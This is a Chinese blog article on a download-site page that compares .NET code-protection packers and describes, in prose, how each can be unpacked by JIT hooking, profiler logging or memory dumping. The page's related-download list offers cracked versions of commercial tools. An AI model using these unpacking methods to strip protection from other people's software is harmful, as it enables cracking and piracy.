<iframe marginwidth="0" marginheight="0" src="http://218.16.120.35:65001/PC/Global/images/b.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>
本文主要介绍一些dotNet加密保护工具的原理以及就其脱壳进行简单探讨。remotesoftprotector、maxtocode、.NetReactor、Cliprotector、themida.Net、xenocodenativecompiler、DNGuard。
remotesoftprotector 应该是一款比较老的。net加密保护工具了,看其官方网站似乎还是06年更新过。该软件没有提供试用版下载,相关资料比较少。去年接触过一
个该软件保护的.Net程序。加密后的程序发布时需要附带native的dll。
这款壳可以算是jit层的壳,是jitwrap模式,通过hookgetJit函数,拦截jit请求。在每次发生jit请求时其运行库会将加密的程序集完全
“原地”解密还原。
特点:整体解密
脱壳:拦截地层jit请求,然后中断。这时程序集已经完全解密,直接pedump就行了。
maxtocode 这个大家应该比较熟悉了,和remotesoftprotector应该时前后脚起步的关系吧。其1.x,2.x,3.1x和3.2内核有很大差别。
特点:单方法体解密
maxtocode1.x版本没有用过,不过DST组的菩提曾经写过maxtocode1.x的脱壳机。
maxtocdoe2.x其内核是EE层,单方法体“原地”解密。编译之后再擦除解密的代码。
脱壳:因为是“原地”解密,所以方法体代码逃不过profile的。可以在profile里面记录每个方法体,然后填充到文件中。
方法二:nop调其内核的擦除代码。这个不用修改其内核文件,只要还原mscorwks。dll中其hook的第二处地方即可。这样方法体解密后就
在内存中了。所有方法invoke一面,直接pedump即可。
maxtocode3.1x,这个版本接触得比较多,我接触的第一个maxtocode版本就是3.10。这一版其内核相对2.x变动比较大。方法体已经不是原地
解密的了,也就是说profile已经不能监视到其il代码了,这算是一个巨大的进步吧。3.1x的内核基本上是一样的,只是后续的版本针对反射做
了一些小动作。
脱壳:直接反射、修复后反射。
方法二:直接调用其内核的解密函数进行脱壳,简单快速。
maxtocode2007企业版,Jit层内核,其在ee层和jit层均安装了多处hook。其内核在前面的文章里面有详细介绍。
脱壳:因其jit层内核的漏洞,可以用简单的方式还原方法体。HookJit后可以简单的进行方法体还原完成单个方法的脱壳。
把每个方法都脱一面,填回文件即可。
.NetReactor 一款很特别的。net加密壳。它有两种模式,application和library。
第一种模式是把。net程序整体加密,然后创建一个native的loader。整体加密的脱壳很简单,dump内存即可。
第二种模式加密后的程序集也要带一个native的dll。和maxtocode一样,加了很多静态构造函数,一个startup函数。
但是在startup函数调用后,即完成了程序集的全部“原地”解密。所以运行后直接dump内存就可以了。
脱壳:直接pedump。
CliProtector 一款jit层的加密壳,大概是去年年底发现的。当时我在进行DNGuard2.0的开发,经分析后发现其内核模式和当时DNGuard2.0的jit层内核很相似。分析后不久就发现了其jit层内核处理的一个漏洞,可以用简单的方式还原方法体。也就是最近在maxtocode2007企业版中发现的那个。在我的DNGuard2.0中对这个漏洞进行了预防处理。
个人感觉其模式兼容性比maxtocode2007企业版要好。只是可惜,它除了有jit层漏洞,还偷了赖,IL代码没有加密,和我出的dnguard1.0demo一样,只是把il搬了一下位置,没有加密。不过对于jit层脱壳来说加不加密倒无所谓了。但这样可能导致破解者从另一个角度去脱壳了。
特点:单方法体解密
脱壳:Jithook,简单方法体还原,同maxtocode2007企业版的脱壳方式。
方法二:分析其加密文件结构,直接还原(因其il代码没有加密,可以不用考虑解密算法的研究)。
themida.Net themida是win32的一个强壳,它支持。Net的加密,其加密方式是整体加密,但是凭借其win32anti的优势,相比其它整体加密的加密工具来说强度要高一点,不过也就仅仅那么一点。
脱壳:过anti,pedump。
xenocodenativecompiler xenocode的专长是混淆保护,不过它也提供了一个所谓的生成本地代码的功能。其生成本地代码其实就是把程序集打包,创建一个nativeloader。但是它的打包把framework都包进去了,也就是说打包后的程序可以在没有安装framework的机器上直接运行,代价是生成的文件体积非常大,因为它把十几兆的framework包进去了。
脱壳:直接pedump。
方法二:分析其打包的文件格式直接解包(已有工具)。
DNGuard DNGuard1.0内核模式同maxtocode3.1x。脱壳方式也雷同。
DNGuard2.0Jit层内核,同maxtocode2007企业版和CLIProtector。相比少了一个漏洞,不能用简单方式还原方法体。
如果破解者对jit内核工作非常熟悉,也能从jit层的结构体中重构出方法体。
脱壳:Jithook结构体重构模式。
总结:
以上除了maxtocode3.x,DNGuard,CLiProtector外,其它工具加密的程序都存在profile漏洞,可以通过profile获取代码。
综合兼容性和强度CLiProtector和maxtocode2007企业版要好一些。
DNGuard2.0的强度好一些,兼容性比较差,就只支持v2.0.50727.42的framework。
DNGuard新版已经开始采用兼容全部framework的模式了。
上面的所有工具加密的程序集,都可以直接在jit层中截获IL字节码。IL字节码不是方法体,它是方法体的一部分。只取得il字节码无法完成脱壳工作,但是已可反为MSIL汇编代码,进行算法分析了。
DNGuardHVM的目标就是不让jit层截获可分析的IL字节码。
分享到:
相关推荐
常见dotNet加密保护工具分析介绍1
dotNET Reactor 是一款优秀的用于.NET程序集的加密加压混淆器,通俗的讲,.NET Reactor 在破解者和您的 .NET 代码之间构建了强大的防破解保护屏障,生成一个基于 Windows 的而不是基于MSIL 的兼容格式文件。...
C#dotnet 加壳 混淆工具
c#.net winform 程序加密工具 dotNET_Reactor v4.9.0.0 破解版
dotNet的DLL加密混淆工具,内附有说明文档,软件为破解版
有人说不会用,我录个帮助视频,不会用的可以看看。Dot Net加密工具使用帮助说明
DotNet中用到的加密算法总结,欢迎大家下载
dotnet面试常见问题dotnet面试常见问题dotnet面试常见问题dotnet面试常见问题dotnet面试常见问题
DOTNET反编译工具dotnet反编译工具 高手看过来 dotnet反编译工具 高手看过来 dotnet反编译工具 高手看过来 dotnet反编译工具 高手看过来 dotnet反编译工具 高手看过来
dotNet框架工具介绍... dotNet框架工具介绍...
MaxtoCode 是一款 DOTNET 代码、版权保护的高强度加密解决方案。它能在不需要对源代码进行调整的情况下完美的保护您的源代码不受反编译及破解的侵害。 MaxtoCode 强大的加密功能以及混淆功能相当于您同时拥有了...
dotNET Reactor 4.9 加密工具 软件保护 单文件 破解版 绝对好用.
DotNet反混淆工具集
微软Dotnet反编译工具 ILDASM 4.0 可以绕过DOTNET自身的Protected Module保护。
dotnet 反编译工具
用于对dotnet文件的方法进行替换或修改。替换是指用同一个Assembly里的另一个类的方法体替换指定类的相同签名方法
.net framework 清理工具,帮助你清理电脑上各种版本的。net 2、3、4
中国万网DotNet版本切换工具和说明.rar
DotNet破解工具合集 包括:Anakrino9,AssemblyView,ildasm,injectreflector,PEBrowseDbg,Reflector,SnippetCompiler2DotNet2,StrongNameRemove20